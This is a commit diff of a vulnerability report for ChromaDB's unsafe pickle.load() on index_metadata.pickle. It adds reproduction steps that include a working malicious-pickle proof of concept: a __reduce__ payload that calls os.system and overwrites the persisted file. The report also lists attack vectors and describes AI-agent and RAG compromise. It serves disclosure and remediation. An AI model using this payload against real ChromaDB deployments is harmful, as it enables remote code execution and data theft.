vellaveto commited on
Commit
a9cddc6
Β·
verified Β·
1 Parent(s): 66e3de0

Expanded report with steps to reproduce

Browse files
Files changed (1) hide show
  1. README.md +47 -19
README.md CHANGED
@@ -1,39 +1,67 @@
1
- # ChromaDB β€” Unsafe `pickle.load()` on HNSW Index Metadata (RCE via Persist Directory)
2
 
3
  ## Vulnerability Type
4
  CWE-502: Deserialization of Untrusted Data
5
 
6
  ## Severity
7
- High β€” RCE via malicious pickle file in the persist directory. Compromises the vector database used by RAG systems.
8
 
9
  ## Affected Code
10
  **File:** `chromadb/segment/impl/vector/local_persistent_hnsw.py`
 
11
 
12
  ```python
13
- @staticmethod
14
- def load_from_file(filename: str) -> "PersistentData":
15
- """Load persistent data from a file"""
16
- with open(filename, "rb") as f:
17
- ret = cast(PersistentData, pickle.load(f)) # ← RCE
18
- return ret
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
19
  ```
20
 
21
- The file loaded is `index_metadata.pickle` in the ChromaDB persist directory.
22
 
23
- ## Attack Vector
24
- 1. Attacker gains write access to the ChromaDB persist directory (via path traversal, shared storage, supply chain, or compromised co-tenant)
25
- 2. Attacker replaces `index_metadata.pickle` with a malicious pickle payload
26
- 3. ChromaDB restarts or initializes a new `PersistentLocalHnswSegment`
27
- 4. `pickle.load()` deserializes the malicious payload β†’ arbitrary code execution
28
 
29
- ## AI Impact (10x multiplier)
30
- ChromaDB is a vector database used as the backbone for RAG (Retrieval-Augmented Generation) systems. Compromising the HNSW index enables:
31
  - **RAG poisoning** β€” attacker controls what documents the LLM retrieves
32
- - **Data exfiltration** β€” read all embedded documents via the RCE
33
  - **Agent takeover** β€” when ChromaDB backs an AI agent's memory, RCE = full agent compromise
34
 
35
  ## Suggested Fix
36
- Replace `pickle` with a safe format:
37
  ```python
38
  import json
39
 
@@ -45,4 +73,4 @@ def load_from_file(filename: str) -> "PersistentData":
45
  ```
46
 
47
  ## Invariant Violated
48
- S16 (DeserializationGuard): Application MUST NOT use `pickle` on files from shared/persistent storage.
 
1
+ # ChromaDB β€” RCE via `pickle.load()` on HNSW Index Metadata
2
 
3
  ## Vulnerability Type
4
  CWE-502: Deserialization of Untrusted Data
5
 
6
  ## Severity
7
+ High β€” `pickle.load()` on persistent HNSW index metadata file enables RCE if persist directory is writable.
8
 
9
  ## Affected Code
10
  **File:** `chromadb/segment/impl/vector/local_persistent_hnsw.py`
11
+ **Line:** 75
12
 
13
  ```python
14
+ class PersistentData:
15
+ @staticmethod
16
+ def load_from_file(filename: str) -> "PersistentData":
17
+ """Load persistent data from a file"""
18
+ with open(filename, "rb") as f:
19
+ ret = cast(PersistentData, pickle.load(f)) # ← RCE if file is poisoned
20
+ return ret
21
+ ```
22
+
23
+ The file loaded is `index_metadata.pickle` in the ChromaDB persist directory (`METADATA_FILE = "index_metadata.pickle"`).
24
+
25
+ ## Steps to Reproduce
26
+
27
+ 1. Create a ChromaDB collection with persistence enabled:
28
+ ```python
29
+ import chromadb
30
+ client = chromadb.PersistentClient(path="/tmp/chroma_test")
31
+ collection = client.create_collection("test")
32
+ collection.add(documents=["hello"], ids=["1"])
33
+ ```
34
+
35
+ 2. Locate the persist directory and find `index_metadata.pickle`
36
+
37
+ 3. Replace it with a malicious pickle:
38
+ ```python
39
+ import pickle, os
40
+
41
+ class Exploit:
42
+ def __reduce__(self):
43
+ return (os.system, ('id > /tmp/chromadb_pwned',))
44
+
45
+ with open("/tmp/chroma_test/<collection_id>/index_metadata.pickle", "wb") as f:
46
+ pickle.dump(Exploit(), f)
47
  ```
48
 
49
+ 4. Restart ChromaDB or access the collection β€” `PersistentLocalHnswSegment` calls `PersistentData.load_from_file()` β†’ `pickle.load()` β†’ RCE
50
 
51
+ ## Attack Vectors
52
+ - **Shared filesystem:** Multi-tenant environments where persist directory is on shared storage
53
+ - **Container escape:** Attacker writes to mounted volume
54
+ - **Supply chain:** Poisoned backup/snapshot of ChromaDB data
55
+ - **Path traversal:** If any other vulnerability allows file write to the persist directory
56
 
57
+ ## AI Impact (10x Multiplier)
58
+ ChromaDB is the most popular vector database for RAG systems. Compromising the HNSW index enables:
59
  - **RAG poisoning** β€” attacker controls what documents the LLM retrieves
60
+ - **Data exfiltration** β€” RCE gives access to all embedded documents
61
  - **Agent takeover** β€” when ChromaDB backs an AI agent's memory, RCE = full agent compromise
62
 
63
  ## Suggested Fix
64
+ Replace `pickle` with a safe serialization format:
65
  ```python
66
  import json
67
 
 
73
  ```
74
 
75
  ## Invariant Violated
76
+ S16 (DeserializationGuard): Application MUST NOT use `pickle.load` on files from persistent/shared storage.